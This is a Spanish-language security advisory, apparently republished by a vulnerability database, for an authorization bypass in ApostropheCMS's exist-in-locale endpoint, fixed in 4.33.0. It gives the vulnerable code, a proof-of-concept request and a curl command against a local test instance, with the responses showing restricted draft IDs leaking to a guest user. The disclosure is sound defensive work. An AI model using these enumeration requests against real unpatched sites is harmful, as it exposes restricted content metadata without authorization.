ApostropheCMS: Omisión de autorización a nivel de objeto en exist-in-locale revela identificadores de borradores restringidos
Resumen
La API exist-in-locale de ApostropheCMS permite a un usuario autenticado con pocos privilegios determinar si existen documentos restringidos en una configuración regional (locale) y modo específicos, incluido el modo borrador (draft). El endpoint devuelve identificadores de documentos localizados sin aplicar los criterios de autorización de visualización o edición a nivel de documento.
El problema se reprodujo en una aplicación local real de ApostropheCMS ejecutando el código fuente analizado. La prueba utilizó una cuenta de invitado (guest) sintética y registros de borradores restringidos sintéticos.
Detalles
Ruta de código fuente vulnerable exacta: packages/apostrophe/modules/@apostrophecms/i18n/index.js:503-529
Ruta exacta de la API: POST /api/v1/@apostrophecms/i18n/exist-in-locale
El manejador verifica únicamente que el solicitante esté autenticado:
if (!req.user) {
throw self.apos.error('notfound');
}
Luego realiza una búsqueda directa en la base de datos utilizando identificadores de documentos, locale y modo controlados por el atacante:
const found = await self.apos.doc.db.find({
aposLocale: `${locale}:${mode}`,
aposDocId: {
$in: ids.map(self.apos.doc.toAposDocId)
}
}).project({
_id: 1,
aposDocId: 1
}).toArray();
Esta consulta no aplica:
.permission('view').permission('edit')apos.permission.criteria(req, 'view')- autorización de documento a nivel de objeto
- autorización específica por locale
El endpoint acepta múltiples IDs, lo que permite el sondeo masivo.
Prueba de concepto
La aplicación local se estaba ejecutando en: http://127.0.0.1:3000
La cuenta de prueba tenía el rol de bajos privilegios: guest
La base de datos local contenía registros sintéticos para el ID base del documento restringido:
wv2l4rbaplgzkg80zkne4aoz:en:draft
wv2l4rbaplgzkg80zkne4aoz:fr:draft
Todas las credenciales y cookies están intencionalmente ocultadas a continuación.
POST /api/v1/@apostrophecms/i18n/exist-in-locale HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Content-Type: application/json
Accept: application/json
{
"ids": [
"wv2l4rbaplgzkg80zkne4aoz:en:draft",
"ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
],
"locale": "fr",
"mode": "draft"
}
Comando equivalente
curl -i -sS -X POST \
'http://127.0.0.1:3000/api/v1/@apostrophecms/i18n/exist-in-locale' \
-b /path/to/redacted-guest-cookie-jar.txt \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
--data-raw '{
"ids": [
"wv2l4rbaplgzkg80zkne4aoz:en:draft",
"ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
],
"locale": "fr",
"mode": "draft"
}'
Respuesta observada
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
{
"originalLocaleIds": [
"wv2l4rbaplgzkg80zkne4aoz:en:draft"
],
"newLocaleIds": [
"wv2l4rbaplgzkg80zkne4aoz:fr:draft"
],
"aposDocIds": [
"wv2l4rbaplgzkg80zkne4aoz"
]
}
El ID que no existía se omitió de la respuesta. Esto demuestra que el endpoint funciona como un oráculo de existencia.
Control de autorización Utilizando la misma sesión de invitado autenticada y el identificador de documento localizado devuelto anteriormente, se consultó la API de páginas normal:
GET /api/v1/@apostrophecms/page/wv2l4rbaplgzkg80zkne4aoz:fr:draft HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Accept: application/json
Respuesta observada:
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
{
"name": "forbidden",
"data": {},
"message": "forbidden"
}
Esto demuestra claramente el límite de autorización:
| Petición | Resultado |
|---|---|
| API de página normal para el borrador restringido | 403 Forbidden |
exist-in-locale para el mismo borrador restringido |
200 OK con ID de documento localizado |
exist-in-locale para un ID inexistente |
200 OK con arrays vacíos |
Validación de impacto adicional
El comportamiento también se probó a través de múltiples combinaciones de locales y modos:
| Consulta | Resultado |
|---|---|
locale=fr, mode=draft |
Devolvió wv2l4rbaplgzkg80zkne4aoz:fr:draft |
locale=fr, mode=published |
Devolvió arrays vacíos porque no existía un elemento publicado |
locale=de, mode=draft |
Devolvió arrays vacíos porque no existía un elemento en alemán |
| Dos IDs en una petición | ID existente devuelto; ID inexistente omitido |
Esto confirma que el endpoint se puede utilizar para descubrir si un documento tiene un borrador localizado en un locale en particular y para realizar enumeración masiva.
Impacto
Un usuario autenticado con bajos privilegios puede:
- Sondear IDs base de documentos arbitrarios conocidos o adivinados.
- Determinar si documentos restringidos tienen versiones localizadas.
- Determinar si existen versiones preliminares no publicadas.
- Identificar qué locales contienen registros coincidentes.
- Obtener identificadores exactos de documentos localizados.
- Enviar múltiples IDs en una sola solicitud para reconocimiento masivo.
El problema no revela directamente el contenido del documento ni otorga privilegios de escritura, publicación o eliminación. Durante las pruebas, no se modificó, publicó, eliminó ni expuso ningún contenido más allá de los metadatos de los identificadores.
Mitigación recomendada
Antes de ejecutar la consulta en la base de datos, aplique los mismos criterios de autorización a nivel de documento utilizados por la API regular de documentos. La consulta debe limitarse a los documentos que el solicitante esté autorizado a ver en el locale y modo solicitados. Las consultas de borradores deberían requerir además el permiso de visualización de borradores adecuado para el documento específico, no simplemente la autenticación o una verificación de roles global. El endpoint también debe evitar devolver identificadores de documentos localizados para registros que no cumplan con los criterios de permisos a nivel de documento del solicitante.
- [1] ApostropheCMS i18n source — existInLocale handler, lines 503–529
- [2] Official ApostropheCMS i18n API documentation
Qué hacer
Actualice a ApostropheCMS 4.33.0 o posterior.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | apostrophe | < 4.33.0 | 4.33.0 |
Referencias
- https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vmxh-77cw-65j7
- https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce
- https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350
- https://github.com/apostrophecms/apostrophe
- https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N- Debilidad (CWE)
CWE-862- Plataforma
- npm
- Paquete
apostrophe- Publicada
- 20.10.2026
- Actualizado
- 20.10.2026 21:31
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-vmxh-77cw-65j7 - CC BY 4.0
Historial de vulnerabilidades: apostrophe
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 27
- Primera → última
- 09.2020 10.2026
- Sin corrección
- 4
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 2
- Alta 8
- Media 13
- Baja 4
Divulgaciones por año
- 2020: 2
- 2021: 2
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 23
-
ApostropheCMS: Omisión de autorización a nivel de objeto en exist-in-locale revela identificadores de borradores restringidos esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.